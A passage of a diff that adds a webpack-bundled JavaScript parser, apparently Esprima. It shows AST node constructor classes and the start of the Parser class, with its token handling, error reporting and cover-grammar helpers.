+	}());
+	exports.ConditionalExpression = ConditionalExpression;
+	var ContinueStatement = (function () {
+	    function ContinueStatement(label) {
+	        this.type = syntax_1.Syntax.ContinueStatement;
+	        this.label = label;
+	    }
+	    return ContinueStatement;
+	}());
+	exports.ContinueStatement = ContinueStatement;
+	var DebuggerStatement = (function () {
+	    function DebuggerStatement() {
+	        this.type = syntax_1.Syntax.DebuggerStatement;
+	    }
+	    return DebuggerStatement;
+	}());
+	exports.DebuggerStatement = DebuggerStatement;
+	var Directive = (function () {
+	    function Directive(expression, directive) {
+	        this.type = syntax_1.Syntax.ExpressionStatement;
+	        this.expression = expression;
+	        this.directive = directive;
+	    }
+	    return Directive;
+	}());
+	exports.Directive = Directive;
+	var DoWhileStatement = (function () {
+	    function DoWhileStatement(body, test) {
+	        this.type = syntax_1.Syntax.DoWhileStatement;
+	        this.body = body;
+	        this.test = test;
+	    }
+	    return DoWhileStatement;
+	}());
+	exports.DoWhileStatement = DoWhileStatement;
+	var EmptyStatement = (function () {
+	    function EmptyStatement() {
+	        this.type = syntax_1.Syntax.EmptyStatement;
+	    }
+	    return EmptyStatement;
+	}());
+	exports.EmptyStatement = EmptyStatement;
+	var ExportAllDeclaration = (function () {
+	    function ExportAllDeclaration(source) {
+	        this.type = syntax_1.Syntax.ExportAllDeclaration;
+	        this.source = source;
+	    }
+	    return ExportAllDeclaration;
+	}());
+	exports.ExportAllDeclaration = ExportAllDeclaration;
+	var ExportDefaultDeclaration = (function () {
+	    function ExportDefaultDeclaration(declaration) {
+	        this.type = syntax_1.Syntax.ExportDefaultDeclaration;
+	        this.declaration = declaration;
+	    }
+	    return ExportDefaultDeclaration;
+	}());
+	exports.ExportDefaultDeclaration = ExportDefaultDeclaration;
+	var ExportNamedDeclaration = (function () {
+	    function ExportNamedDeclaration(declaration, specifiers, source) {
+	        this.type = syntax_1.Syntax.ExportNamedDeclaration;
+	        this.declaration = declaration;
+	        this.specifiers = specifiers;
+	        this.source = source;
+	    }
+	    return ExportNamedDeclaration;
+	}());
+	exports.ExportNamedDeclaration = ExportNamedDeclaration;
+	var ExportSpecifier = (function () {
+	    function ExportSpecifier(local, exported) {
+	        this.type = syntax_1.Syntax.ExportSpecifier;
+	        this.exported = exported;
+	        this.local = local;
+	    }
+	    return ExportSpecifier;
+	}());
+	exports.ExportSpecifier = ExportSpecifier;
+	var ExpressionStatement = (function () {
+	    function ExpressionStatement(expression) {
+	        this.type = syntax_1.Syntax.ExpressionStatement;
+	        this.expression = expression;
+	    }
+	    return ExpressionStatement;
+	}());
+	exports.ExpressionStatement = ExpressionStatement;
+	var ForInStatement = (function () {
+	    function ForInStatement(left, right, body) {
+	        this.type = syntax_1.Syntax.ForInStatement;
+	        this.left = left;
+	        this.right = right;
+	        this.body = body;
+	        this.each = false;
+	    }
+	    return ForInStatement;
+	}());
+	exports.ForInStatement = ForInStatement;
+	var ForOfStatement = (function () {
+	    function ForOfStatement(left, right, body) {
+	        this.type = syntax_1.Syntax.ForOfStatement;
+	        this.left = left;
+	        this.right = right;
+	        this.body = body;
+	    }
+	    return ForOfStatement;
+	}());
+	exports.ForOfStatement = ForOfStatement;
+	var ForStatement = (function () {
+	    function ForStatement(init, test, update, body) {
+	        this.type = syntax_1.Syntax.ForStatement;
+	        this.init = init;
+	        this.test = test;
+	        this.update = update;
+	        this.body = body;
+	    }
+	    return ForStatement;
+	}());
+	exports.ForStatement = ForStatement;
+	var FunctionDeclaration = (function () {
+	    function FunctionDeclaration(id, params, body, generator) {
+	        this.type = syntax_1.Syntax.FunctionDeclaration;
+	        this.id = id;
+	        this.params = params;
+	        this.body = body;
+	        this.generator = generator;
+	        this.expression = false;
+	        this.async = false;
+	    }
+	    return FunctionDeclaration;
+	}());
+	exports.FunctionDeclaration = FunctionDeclaration;
+	var FunctionExpression = (function () {
+	    function FunctionExpression(id, params, body, generator) {
+	        this.type = syntax_1.Syntax.FunctionExpression;
+	        this.id = id;
+	        this.params = params;
+	        this.body = body;
+	        this.generator = generator;
+	        this.expression = false;
+	        this.async = false;
+	    }
+	    return FunctionExpression;
+	}());
+	exports.FunctionExpression = FunctionExpression;
+	var Identifier = (function () {
+	    function Identifier(name) {
+	        this.type = syntax_1.Syntax.Identifier;
+	        this.name = name;
+	    }
+	    return Identifier;
+	}());
+	exports.Identifier = Identifier;
+	var IfStatement = (function () {
+	    function IfStatement(test, consequent, alternate) {
+	        this.type = syntax_1.Syntax.IfStatement;
+	        this.test = test;
+	        this.consequent = consequent;
+	        this.alternate = alternate;
+	    }
+	    return IfStatement;
+	}());
+	exports.IfStatement = IfStatement;
+	var ImportDeclaration = (function () {
+	    function ImportDeclaration(specifiers, source) {
+	        this.type = syntax_1.Syntax.ImportDeclaration;
+	        this.specifiers = specifiers;
+	        this.source = source;
+	    }
+	    return ImportDeclaration;
+	}());
+	exports.ImportDeclaration = ImportDeclaration;
+	var ImportDefaultSpecifier = (function () {
+	    function ImportDefaultSpecifier(local) {
+	        this.type = syntax_1.Syntax.ImportDefaultSpecifier;
+	        this.local = local;
+	    }
+	    return ImportDefaultSpecifier;
+	}());
+	exports.ImportDefaultSpecifier = ImportDefaultSpecifier;
+	var ImportNamespaceSpecifier = (function () {
+	    function ImportNamespaceSpecifier(local) {
+	        this.type = syntax_1.Syntax.ImportNamespaceSpecifier;
+	        this.local = local;
+	    }
+	    return ImportNamespaceSpecifier;
+	}());
+	exports.ImportNamespaceSpecifier = ImportNamespaceSpecifier;
+	var ImportSpecifier = (function () {
+	    function ImportSpecifier(local, imported) {
+	        this.type = syntax_1.Syntax.ImportSpecifier;
+	        this.local = local;
+	        this.imported = imported;
+	    }
+	    return ImportSpecifier;
+	}());
+	exports.ImportSpecifier = ImportSpecifier;
+	var LabeledStatement = (function () {
+	    function LabeledStatement(label, body) {
+	        this.type = syntax_1.Syntax.LabeledStatement;
+	        this.label = label;
+	        this.body = body;
+	    }
+	    return LabeledStatement;
+	}());
+	exports.LabeledStatement = LabeledStatement;
+	var Literal = (function () {
+	    function Literal(value, raw) {
+	        this.type = syntax_1.Syntax.Literal;
+	        this.value = value;
+	        this.raw = raw;
+	    }
+	    return Literal;
+	}());
+	exports.Literal = Literal;
+	var MetaProperty = (function () {
+	    function MetaProperty(meta, property) {
+	        this.type = syntax_1.Syntax.MetaProperty;
+	        this.meta = meta;
+	        this.property = property;
+	    }
+	    return MetaProperty;
+	}());
+	exports.MetaProperty = MetaProperty;
+	var MethodDefinition = (function () {
+	    function MethodDefinition(key, computed, value, kind, isStatic) {
+	        this.type = syntax_1.Syntax.MethodDefinition;
+	        this.key = key;
+	        this.computed = computed;
+	        this.value = value;
+	        this.kind = kind;
+	        this.static = isStatic;
+	    }
+	    return MethodDefinition;
+	}());
+	exports.MethodDefinition = MethodDefinition;
+	var Module = (function () {
+	    function Module(body) {
+	        this.type = syntax_1.Syntax.Program;
+	        this.body = body;
+	        this.sourceType = 'module';
+	    }
+	    return Module;
+	}());
+	exports.Module = Module;
+	var NewExpression = (function () {
+	    function NewExpression(callee, args) {
+	        this.type = syntax_1.Syntax.NewExpression;
+	        this.callee = callee;
+	        this.arguments = args;
+	    }
+	    return NewExpression;
+	}());
+	exports.NewExpression = NewExpression;
+	var ObjectExpression = (function () {
+	    function ObjectExpression(properties) {
+	        this.type = syntax_1.Syntax.ObjectExpression;
+	        this.properties = properties;
+	    }
+	    return ObjectExpression;
+	}());
+	exports.ObjectExpression = ObjectExpression;
+	var ObjectPattern = (function () {
+	    function ObjectPattern(properties) {
+	        this.type = syntax_1.Syntax.ObjectPattern;
+	        this.properties = properties;
+	    }
+	    return ObjectPattern;
+	}());
+	exports.ObjectPattern = ObjectPattern;
+	var Property = (function () {
+	    function Property(kind, key, computed, value, method, shorthand) {
+	        this.type = syntax_1.Syntax.Property;
+	        this.key = key;
+	        this.computed = computed;
+	        this.value = value;
+	        this.kind = kind;
+	        this.method = method;
+	        this.shorthand = shorthand;
+	    }
+	    return Property;
+	}());
+	exports.Property = Property;
+	var RegexLiteral = (function () {
+	    function RegexLiteral(value, raw, pattern, flags) {
+	        this.type = syntax_1.Syntax.Literal;
+	        this.value = value;
+	        this.raw = raw;
+	        this.regex = { pattern: pattern, flags: flags };
+	    }
+	    return RegexLiteral;
+	}());
+	exports.RegexLiteral = RegexLiteral;
+	var RestElement = (function () {
+	    function RestElement(argument) {
+	        this.type = syntax_1.Syntax.RestElement;
+	        this.argument = argument;
+	    }
+	    return RestElement;
+	}());
+	exports.RestElement = RestElement;
+	var ReturnStatement = (function () {
+	    function ReturnStatement(argument) {
+	        this.type = syntax_1.Syntax.ReturnStatement;
+	        this.argument = argument;
+	    }
+	    return ReturnStatement;
+	}());
+	exports.ReturnStatement = ReturnStatement;
+	var Script = (function () {
+	    function Script(body) {
+	        this.type = syntax_1.Syntax.Program;
+	        this.body = body;
+	        this.sourceType = 'script';
+	    }
+	    return Script;
+	}());
+	exports.Script = Script;
+	var SequenceExpression = (function () {
+	    function SequenceExpression(expressions) {
+	        this.type = syntax_1.Syntax.SequenceExpression;
+	        this.expressions = expressions;
+	    }
+	    return SequenceExpression;
+	}());
+	exports.SequenceExpression = SequenceExpression;
+	var SpreadElement = (function () {
+	    function SpreadElement(argument) {
+	        this.type = syntax_1.Syntax.SpreadElement;
+	        this.argument = argument;
+	    }
+	    return SpreadElement;
+	}());
+	exports.SpreadElement = SpreadElement;
+	var StaticMemberExpression = (function () {
+	    function StaticMemberExpression(object, property) {
+	        this.type = syntax_1.Syntax.MemberExpression;
+	        this.computed = false;
+	        this.object = object;
+	        this.property = property;
+	    }
+	    return StaticMemberExpression;
+	}());
+	exports.StaticMemberExpression = StaticMemberExpression;
+	var Super = (function () {
+	    function Super() {
+	        this.type = syntax_1.Syntax.Super;
+	    }
+	    return Super;
+	}());
+	exports.Super = Super;
+	var SwitchCase = (function () {
+	    function SwitchCase(test, consequent) {
+	        this.type = syntax_1.Syntax.SwitchCase;
+	        this.test = test;
+	        this.consequent = consequent;
+	    }
+	    return SwitchCase;
+	}());
+	exports.SwitchCase = SwitchCase;
+	var SwitchStatement = (function () {
+	    function SwitchStatement(discriminant, cases) {
+	        this.type = syntax_1.Syntax.SwitchStatement;
+	        this.discriminant = discriminant;
+	        this.cases = cases;
+	    }
+	    return SwitchStatement;
+	}());
+	exports.SwitchStatement = SwitchStatement;
+	var TaggedTemplateExpression = (function () {
+	    function TaggedTemplateExpression(tag, quasi) {
+	        this.type = syntax_1.Syntax.TaggedTemplateExpression;
+	        this.tag = tag;
+	        this.quasi = quasi;
+	    }
+	    return TaggedTemplateExpression;
+	}());
+	exports.TaggedTemplateExpression = TaggedTemplateExpression;
+	var TemplateElement = (function () {
+	    function TemplateElement(value, tail) {
+	        this.type = syntax_1.Syntax.TemplateElement;
+	        this.value = value;
+	        this.tail = tail;
+	    }
+	    return TemplateElement;
+	}());
+	exports.TemplateElement = TemplateElement;
+	var TemplateLiteral = (function () {
+	    function TemplateLiteral(quasis, expressions) {
+	        this.type = syntax_1.Syntax.TemplateLiteral;
+	        this.quasis = quasis;
+	        this.expressions = expressions;
+	    }
+	    return TemplateLiteral;
+	}());
+	exports.TemplateLiteral = TemplateLiteral;
+	var ThisExpression = (function () {
+	    function ThisExpression() {
+	        this.type = syntax_1.Syntax.ThisExpression;
+	    }
+	    return ThisExpression;
+	}());
+	exports.ThisExpression = ThisExpression;
+	var ThrowStatement = (function () {
+	    function ThrowStatement(argument) {
+	        this.type = syntax_1.Syntax.ThrowStatement;
+	        this.argument = argument;
+	    }
+	    return ThrowStatement;
+	}());
+	exports.ThrowStatement = ThrowStatement;
+	var TryStatement = (function () {
+	    function TryStatement(block, handler, finalizer) {
+	        this.type = syntax_1.Syntax.TryStatement;
+	        this.block = block;
+	        this.handler = handler;
+	        this.finalizer = finalizer;
+	    }
+	    return TryStatement;
+	}());
+	exports.TryStatement = TryStatement;
+	var UnaryExpression = (function () {
+	    function UnaryExpression(operator, argument) {
+	        this.type = syntax_1.Syntax.UnaryExpression;
+	        this.operator = operator;
+	        this.argument = argument;
+	        this.prefix = true;
+	    }
+	    return UnaryExpression;
+	}());
+	exports.UnaryExpression = UnaryExpression;
+	var UpdateExpression = (function () {
+	    function UpdateExpression(operator, argument, prefix) {
+	        this.type = syntax_1.Syntax.UpdateExpression;
+	        this.operator = operator;
+	        this.argument = argument;
+	        this.prefix = prefix;
+	    }
+	    return UpdateExpression;
+	}());
+	exports.UpdateExpression = UpdateExpression;
+	var VariableDeclaration = (function () {
+	    function VariableDeclaration(declarations, kind) {
+	        this.type = syntax_1.Syntax.VariableDeclaration;
+	        this.declarations = declarations;
+	        this.kind = kind;
+	    }
+	    return VariableDeclaration;
+	}());
+	exports.VariableDeclaration = VariableDeclaration;
+	var VariableDeclarator = (function () {
+	    function VariableDeclarator(id, init) {
+	        this.type = syntax_1.Syntax.VariableDeclarator;
+	        this.id = id;
+	        this.init = init;
+	    }
+	    return VariableDeclarator;
+	}());
+	exports.VariableDeclarator = VariableDeclarator;
+	var WhileStatement = (function () {
+	    function WhileStatement(test, body) {
+	        this.type = syntax_1.Syntax.WhileStatement;
+	        this.test = test;
+	        this.body = body;
+	    }
+	    return WhileStatement;
+	}());
+	exports.WhileStatement = WhileStatement;
+	var WithStatement = (function () {
+	    function WithStatement(object, body) {
+	        this.type = syntax_1.Syntax.WithStatement;
+	        this.object = object;
+	        this.body = body;
+	    }
+	    return WithStatement;
+	}());
+	exports.WithStatement = WithStatement;
+	var YieldExpression = (function () {
+	    function YieldExpression(argument, delegate) {
+	        this.type = syntax_1.Syntax.YieldExpression;
+	        this.argument = argument;
+	        this.delegate = delegate;
+	    }
+	    return YieldExpression;
+	}());
+	exports.YieldExpression = YieldExpression;
+
+
+/***/ },
+/* 8 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var assert_1 = __webpack_require__(9);
+	var error_handler_1 = __webpack_require__(10);
+	var messages_1 = __webpack_require__(11);
+	var Node = __webpack_require__(7);
+	var scanner_1 = __webpack_require__(12);
+	var syntax_1 = __webpack_require__(2);
+	var token_1 = __webpack_require__(13);
+	var ArrowParameterPlaceHolder = 'ArrowParameterPlaceHolder';
+	var Parser = (function () {
+	    function Parser(code, options, delegate) {
+	        if (options === void 0) { options = {}; }
+	        this.config = {
+	            range: (typeof options.range === 'boolean') && options.range,
+	            loc: (typeof options.loc === 'boolean') && options.loc,
+	            source: null,
+	            tokens: (typeof options.tokens === 'boolean') && options.tokens,
+	            comment: (typeof options.comment === 'boolean') && options.comment,
+	            tolerant: (typeof options.tolerant === 'boolean') && options.tolerant
+	        };
+	        if (this.config.loc && options.source && options.source !== null) {
+	            this.config.source = String(options.source);
+	        }
+	        this.delegate = delegate;
+	        this.errorHandler = new error_handler_1.ErrorHandler();
+	        this.errorHandler.tolerant = this.config.tolerant;
+	        this.scanner = new scanner_1.Scanner(code, this.errorHandler);
+	        this.scanner.trackComment = this.config.comment;
+	        this.operatorPrecedence = {
+	            ')': 0,
+	            ';': 0,
+	            ',': 0,
+	            '=': 0,
+	            ']': 0,
+	            '||': 1,
+	            '&&': 2,
+	            '|': 3,
+	            '^': 4,
+	            '&': 5,
+	            '==': 6,
+	            '!=': 6,
+	            '===': 6,
+	            '!==': 6,
+	            '<': 7,
+	            '>': 7,
+	            '<=': 7,
+	            '>=': 7,
+	            '<<': 8,
+	            '>>': 8,
+	            '>>>': 8,
+	            '+': 9,
+	            '-': 9,
+	            '*': 11,
+	            '/': 11,
+	            '%': 11
+	        };
+	        this.lookahead = {
+	            type: 2 /* EOF */,
+	            value: '',
+	            lineNumber: this.scanner.lineNumber,
+	            lineStart: 0,
+	            start: 0,
+	            end: 0
+	        };
+	        this.hasLineTerminator = false;
+	        this.context = {
+	            isModule: false,
+	            await: false,
+	            allowIn: true,
+	            allowStrictDirective: true,
+	            allowYield: true,
+	            firstCoverInitializedNameError: null,
+	            isAssignmentTarget: false,
+	            isBindingElement: false,
+	            inFunctionBody: false,
+	            inIteration: false,
+	            inSwitch: false,
+	            labelSet: {},
+	            strict: false
+	        };
+	        this.tokens = [];
+	        this.startMarker = {
+	            index: 0,
+	            line: this.scanner.lineNumber,
+	            column: 0
+	        };
+	        this.lastMarker = {
+	            index: 0,
+	            line: this.scanner.lineNumber,
+	            column: 0
+	        };
+	        this.nextToken();
+	        this.lastMarker = {
+	            index: this.scanner.index,
+	            line: this.scanner.lineNumber,
+	            column: this.scanner.index - this.scanner.lineStart
+	        };
+	    }
+	    Parser.prototype.throwError = function (messageFormat) {
+	        var values = [];
+	        for (var _i = 1; _i < arguments.length; _i++) {
+	            values[_i - 1] = arguments[_i];
+	        }
+	        var args = Array.prototype.slice.call(arguments, 1);
+	        var msg = messageFormat.replace(/%(\d)/g, function (whole, idx) {
+	            assert_1.assert(idx < args.length, 'Message reference must be in range');
+	            return args[idx];
+	        });
+	        var index = this.lastMarker.index;
+	        var line = this.lastMarker.line;
+	        var column = this.lastMarker.column + 1;
+	        throw this.errorHandler.createError(index, line, column, msg);
+	    };
+	    Parser.prototype.tolerateError = function (messageFormat) {
+	        var values = [];
+	        for (var _i = 1; _i < arguments.length; _i++) {
+	            values[_i - 1] = arguments[_i];
+	        }
+	        var args = Array.prototype.slice.call(arguments, 1);
+	        var msg = messageFormat.replace(/%(\d)/g, function (whole, idx) {
+	            assert_1.assert(idx < args.length, 'Message reference must be in range');
+	            return args[idx];
+	        });
+	        var index = this.lastMarker.index;
+	        var line = this.scanner.lineNumber;
+	        var column = this.lastMarker.column + 1;
+	        this.errorHandler.tolerateError(index, line, column, msg);
+	    };
+	    // Throw an exception because of the token.
+	    Parser.prototype.unexpectedTokenError = function (token, message) {
+	        var msg = message || messages_1.Messages.UnexpectedToken;
+	        var value;
+	        if (token) {
+	            if (!message) {
+	                msg = (token.type === 2 /* EOF */) ? messages_1.Messages.UnexpectedEOS :
+	                    (token.type === 3 /* Identifier */) ? messages_1.Messages.UnexpectedIdentifier :
+	                        (token.type === 6 /* NumericLiteral */) ? messages_1.Messages.UnexpectedNumber :
+	                            (token.type === 8 /* StringLiteral */) ? messages_1.Messages.UnexpectedString :
+	                                (token.type === 10 /* Template */) ? messages_1.Messages.UnexpectedTemplate :
+	                                    messages_1.Messages.UnexpectedToken;
+	                if (token.type === 4 /* Keyword */) {
+	                    if (this.scanner.isFutureReservedWord(token.value)) {
+	                        msg = messages_1.Messages.UnexpectedReserved;
+	                    }
+	                    else if (this.context.strict && this.scanner.isStrictModeReservedWord(token.value)) {
+	                        msg = messages_1.Messages.StrictReservedWord;
+	                    }
+	                }
+	            }
+	            value = token.value;
+	        }
+	        else {
+	            value = 'ILLEGAL';
+	        }
+	        msg = msg.replace('%0', value);
+	        if (token && typeof token.lineNumber === 'number') {
+	            var index = token.start;
+	            var line = token.lineNumber;
+	            var lastMarkerLineStart = this.lastMarker.index - this.lastMarker.column;
+	            var column = token.start - lastMarkerLineStart + 1;
+	            return this.errorHandler.createError(index, line, column, msg);
+	        }
+	        else {
+	            var index = this.lastMarker.index;
+	            var line = this.lastMarker.line;
+	            var column = this.lastMarker.column + 1;
+	            return this.errorHandler.createError(index, line, column, msg);
+	        }
+	    };
+	    Parser.prototype.throwUnexpectedToken = function (token, message) {
+	        throw this.unexpectedTokenError(token, message);
+	    };
+	    Parser.prototype.tolerateUnexpectedToken = function (token, message) {
+	        this.errorHandler.tolerate(this.unexpectedTokenError(token, message));
+	    };
+	    Parser.prototype.collectComments = function () {
+	        if (!this.config.comment) {
+	            this.scanner.scanComments();
+	        }
+	        else {
+	            var comments = this.scanner.scanComments();
+	            if (comments.length > 0 && this.delegate) {
+	                for (var i = 0; i < comments.length; ++i) {
+	                    var e = comments[i];
+	                    var node = void 0;
+	                    node = {
+	                        type: e.multiLine ? 'BlockComment' : 'LineComment',
+	                        value: this.scanner.source.slice(e.slice[0], e.slice[1])
+	                    };
+	                    if (this.config.range) {
+	                        node.range = e.range;
+	                    }
+	                    if (this.config.loc) {
+	                        node.loc = e.loc;
+	                    }
+	                    var metadata = {
+	                        start: {
+	                            line: e.loc.start.line,
+	                            column: e.loc.start.column,
+	                            offset: e.range[0]
+	                        },
+	                        end: {
+	                            line: e.loc.end.line,
+	                            column: e.loc.end.column,
+	                            offset: e.range[1]
+	                        }
+	                    };
+	                    this.delegate(node, metadata);
+	                }
+	            }
+	        }
+	    };
+	    // From internal representation to an external structure
+	    Parser.prototype.getTokenRaw = function (token) {
+	        return this.scanner.source.slice(token.start, token.end);
+	    };
+	    Parser.prototype.convertToken = function (token) {
+	        var t = {
+	            type: token_1.TokenName[token.type],
+	            value: this.getTokenRaw(token)
+	        };
+	        if (this.config.range) {
+	            t.range = [token.start, token.end];
+	        }
+	        if (this.config.loc) {
+	            t.loc = {
+	                start: {
+	                    line: this.startMarker.line,
+	                    column: this.startMarker.column
+	                },
+	                end: {
+	                    line: this.scanner.lineNumber,
+	                    column: this.scanner.index - this.scanner.lineStart
+	                }
+	            };
+	        }
+	        if (token.type === 9 /* RegularExpression */) {
+	            var pattern = token.pattern;
+	            var flags = token.flags;
+	            t.regex = { pattern: pattern, flags: flags };
+	        }
+	        return t;
+	    };
+	    Parser.prototype.nextToken = function () {
+	        var token = this.lookahead;
+	        this.lastMarker.index = this.scanner.index;
+	        this.lastMarker.line = this.scanner.lineNumber;
+	        this.lastMarker.column = this.scanner.index - this.scanner.lineStart;
+	        this.collectComments();
+	        if (this.scanner.index !== this.startMarker.index) {
+	            this.startMarker.index = this.scanner.index;
+	            this.startMarker.line = this.scanner.lineNumber;
+	            this.startMarker.column = this.scanner.index - this.scanner.lineStart;
+	        }
+	        var next = this.scanner.lex();
+	        this.hasLineTerminator = (token.lineNumber !== next.lineNumber);
+	        if (next && this.context.strict && next.type === 3 /* Identifier */) {
+	            if (this.scanner.isStrictModeReservedWord(next.value)) {
+	                next.type = 4 /* Keyword */;
+	            }
+	        }
+	        this.lookahead = next;
+	        if (this.config.tokens && next.type !== 2 /* EOF */) {
+	            this.tokens.push(this.convertToken(next));
+	        }
+	        return token;
+	    };
+	    Parser.prototype.nextRegexToken = function () {
+	        this.collectComments();
+	        var token = this.scanner.scanRegExp();
+	        if (this.config.tokens) {
+	            // Pop the previous token, '/' or '/='
+	            // This is added from the lookahead token.
+	            this.tokens.pop();
+	            this.tokens.push(this.convertToken(token));
+	        }
+	        // Prime the next lookahead.
+	        this.lookahead = token;
+	        this.nextToken();
+	        return token;
+	    };
+	    Parser.prototype.createNode = function () {
+	        return {
+	            index: this.startMarker.index,
+	            line: this.startMarker.line,
+	            column: this.startMarker.column
+	        };
+	    };
+	    Parser.prototype.startNode = function (token) {
+	        return {
+	            index: token.start,
+	            line: token.lineNumber,
+	            column: token.start - token.lineStart
+	        };
+	    };
+	    Parser.prototype.finalize = function (marker, node) {
+	        if (this.config.range) {
+	            node.range = [marker.index, this.lastMarker.index];
+	        }
+	        if (this.config.loc) {
+	            node.loc = {
+	                start: {
+	                    line: marker.line,
+	                    column: marker.column,
+	                },
+	                end: {
+	                    line: this.lastMarker.line,
+	                    column: this.lastMarker.column
+	                }
+	            };
+	            if (this.config.source) {
+	                node.loc.source = this.config.source;
+	            }
+	        }
+	        if (this.delegate) {
+	            var metadata = {
+	                start: {
+	                    line: marker.line,
+	                    column: marker.column,
+	                    offset: marker.index
+	                },
+	                end: {
+	                    line: this.lastMarker.line,
+	                    column: this.lastMarker.column,
+	                    offset: this.lastMarker.index
+	                }
+	            };
+	            this.delegate(node, metadata);
+	        }
+	        return node;
+	    };
+	    // Expect the next token to match the specified punctuator.
+	    // If not, an exception will be thrown.
+	    Parser.prototype.expect = function (value) {
+	        var token = this.nextToken();
+	        if (token.type !== 7 /* Punctuator */ || token.value !== value) {
+	            this.throwUnexpectedToken(token);
+	        }
+	    };
+	    // Quietly expect a comma when in tolerant mode, otherwise delegates to expect().
+	    Parser.prototype.expectCommaSeparator = function () {
+	        if (this.config.tolerant) {
+	            var token = this.lookahead;
+	            if (token.type === 7 /* Punctuator */ && token.value === ',') {
+	                this.nextToken();
+	            }
+	            else if (token.type === 7 /* Punctuator */ && token.value === ';') {
+	                this.nextToken();
+	                this.tolerateUnexpectedToken(token);
+	            }
+	            else {
+	                this.tolerateUnexpectedToken(token, messages_1.Messages.UnexpectedToken);
+	            }
+	        }
+	        else {
+	            this.expect(',');
+	        }
+	    };
+	    // Expect the next token to match the specified keyword.
+	    // If not, an exception will be thrown.
+	    Parser.prototype.expectKeyword = function (keyword) {
+	        var token = this.nextToken();
+	        if (token.type !== 4 /* Keyword */ || token.value !== keyword) {
+	            this.throwUnexpectedToken(token);
+	        }
+	    };
+	    // Return true if the next token matches the specified punctuator.
+	    Parser.prototype.match = function (value) {
+	        return this.lookahead.type === 7 /* Punctuator */ && this.lookahead.value === value;
+	    };
+	    // Return true if the next token matches the specified keyword
+	    Parser.prototype.matchKeyword = function (keyword) {
+	        return this.lookahead.type === 4 /* Keyword */ && this.lookahead.value === keyword;
+	    };
+	    // Return true if the next token matches the specified contextual keyword
+	    // (where an identifier is sometimes a keyword depending on the context)
+	    Parser.prototype.matchContextualKeyword = function (keyword) {
+	        return this.lookahead.type === 3 /* Identifier */ && this.lookahead.value === keyword;
+	    };
+	    // Return true if the next token is an assignment operator
+	    Parser.prototype.matchAssign = function () {
+	        if (this.lookahead.type !== 7 /* Punctuator */) {
+	            return false;
+	        }
+	        var op = this.lookahead.value;
+	        return op === '=' ||
+	            op === '*=' ||
+	            op === '**=' ||
+	            op === '/=' ||
+	            op === '%=' ||
+	            op === '+=' ||
+	            op === '-=' ||
+	            op === '<<=' ||
+	            op === '>>=' ||
+	            op === '>>>=' ||
+	            op === '&=' ||
+	            op === '^=' ||
+	            op === '|=';
+	    };
+	    // Cover grammar support.
+	    //
+	    // When an assignment expression position starts with an left parenthesis, the determination of the type
+	    // of the syntax is to be deferred arbitrarily long until the end of the parentheses pair (plus a lookahead)
+	    // or the first comma. This situation also defers the determination of all the expressions nested in the pair.
+	    //
+	    // There are three productions that can be parsed in a parentheses pair that needs to be determined
+	    // after the outermost pair is closed. They are:
+	    //
+	    //   1. AssignmentExpression
+	    //   2. BindingElements
+	    //   3. AssignmentTargets
+	    //
+	    // In order to avoid exponential backtracking, we use two flags to denote if the production can be
+	    // binding element or assignment target.
+	    //
+	    // The three productions have the relationship:
+	    //
+	    //   BindingElements ⊆ AssignmentTargets ⊆ AssignmentExpression
+	    //
+	    // with a single exception that CoverInitializedName when used directly in an Expression, generates
+	    // an early error. Therefore, we need the third state, firstCoverInitializedNameError, to track the
+	    // first usage of CoverInitializedName and report it when we reached the end of the parentheses pair.
+	    //
+	    // isolateCoverGrammar function runs the given parser function with a new cover grammar context, and it does not
+	    // effect the current flags. This means the production the parser parses is only used as an expression. Therefore
+	    // the CoverInitializedName check is conducted.
+	    //
+	    // inheritCoverGrammar function runs the given parse function with a new cover grammar context, and it propagates
+	    // the flags outside of the parser. This means the production the parser parses is used as a part of a potential
+	    // pattern. The CoverInitializedName check is deferred.
+	    Parser.prototype.isolateCoverGrammar = function (parseFunction) {
+	        var previousIsBindingElement = this.context.isBindingElement;
+	        var previousIsAssignmentTarget = this.context.isAssignmentTarget;
+	        var previousFirstCoverInitializedNameError = this.context.firstCoverInitializedNameError;
+	        this.context.isBindingElement = true;
+	        this.context.isAssignmentTarget = true;
+	        this.context.firstCoverInitializedNameError = null;
+	        var result = parseFunction.call(this);
+	        if (this.context.firstCoverInitializedNameError !== null) {
+	            this.throwUnexpectedToken(this.context.firstCoverInitializedNameError);
+	        }
+	        this.context.isBindingElement = previousIsBindingElement;
+	        this.context.isAssignmentTarget = previousIsAssignmentTarget;
+	        this.context.firstCoverInitializedNameError = previousFirstCoverInitializedNameError;
+	        return result;
+	    };
+	    Parser.prototype.inheritCoverGrammar = function (parseFunction) {
+	        var previousIsBindingElement = this.context.isBindingElement;
+	        var previousIsAssignmentTarget = this.context.isAssignmentTarget;
+	        var previousFirstCoverInitializedNameError = this.context.firstCoverInitializedNameError;
+	        this.context.isBindingElement = true;
+	        this.context.isAssignmentTarget = true;
+	        this.context.firstCoverInitializedNameError = null;
+	        var result = parseFunction.call(this);
+	        this.context.isBindingElement = this.context.isBindingElement && previousIsBindingElement;
+	        this.context.isAssignmentTarget = this.context.isAssignmentTarget && previousIsAssignmentTarget;
+	        this.context.firstCoverInitializedNameError = previousFirstCoverInitializedNameError || this.context.firstCoverInitializedNameError;
+	        return result;
+	    };
+	    Parser.prototype.consumeSemicolon = function () {
+	        if (this.match(';')) {
+	            this.nextToken();
+	        }
+	        else if (!this.hasLineTerminator) {
+	            if (this.lookahead.type !== 2 /* EOF */ && !this.match('}')) {
+	                this.throwUnexpectedToken(this.lookahead);
+	            }
+	            this.lastMarker.index = this.startMarker.index;
+	            this.lastMarker.line = this.startMarker.line;
+	            this.lastMarker.column = this.startMarker.column;
+	        }
+	    };
+	    // https://tc39.github.io/ecma262/#sec-primary-expression
+	    Parser.prototype.parsePrimaryExpression = function () {
+	        var node = this.createNode();
+	        var expr;
+	        var token, raw;
+	        switch (this.lookahead.type) {
+	            case 3 /* Identifier */:
+	                if ((this.context.isModule || this.context.await) && this.lookahead.value === 'await') {
+	                    this.tolerateUnexpectedToken(this.lookahead);
+	                }
+	                expr = this.matchAsyncFunction() ? this.parseFunctionExpression() : this.finalize(node, new Node.Identifier(this.nextToken().value));
+	                break;
+	            case 6 /* NumericLiteral */:
+	            case 8 /* StringLiteral */:
+	                if (this.context.strict && this.lookahead.octal) {
+	                    this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.StrictOctalLiteral);
+	                }
+	                this.context.isAssignmentTarget = false;
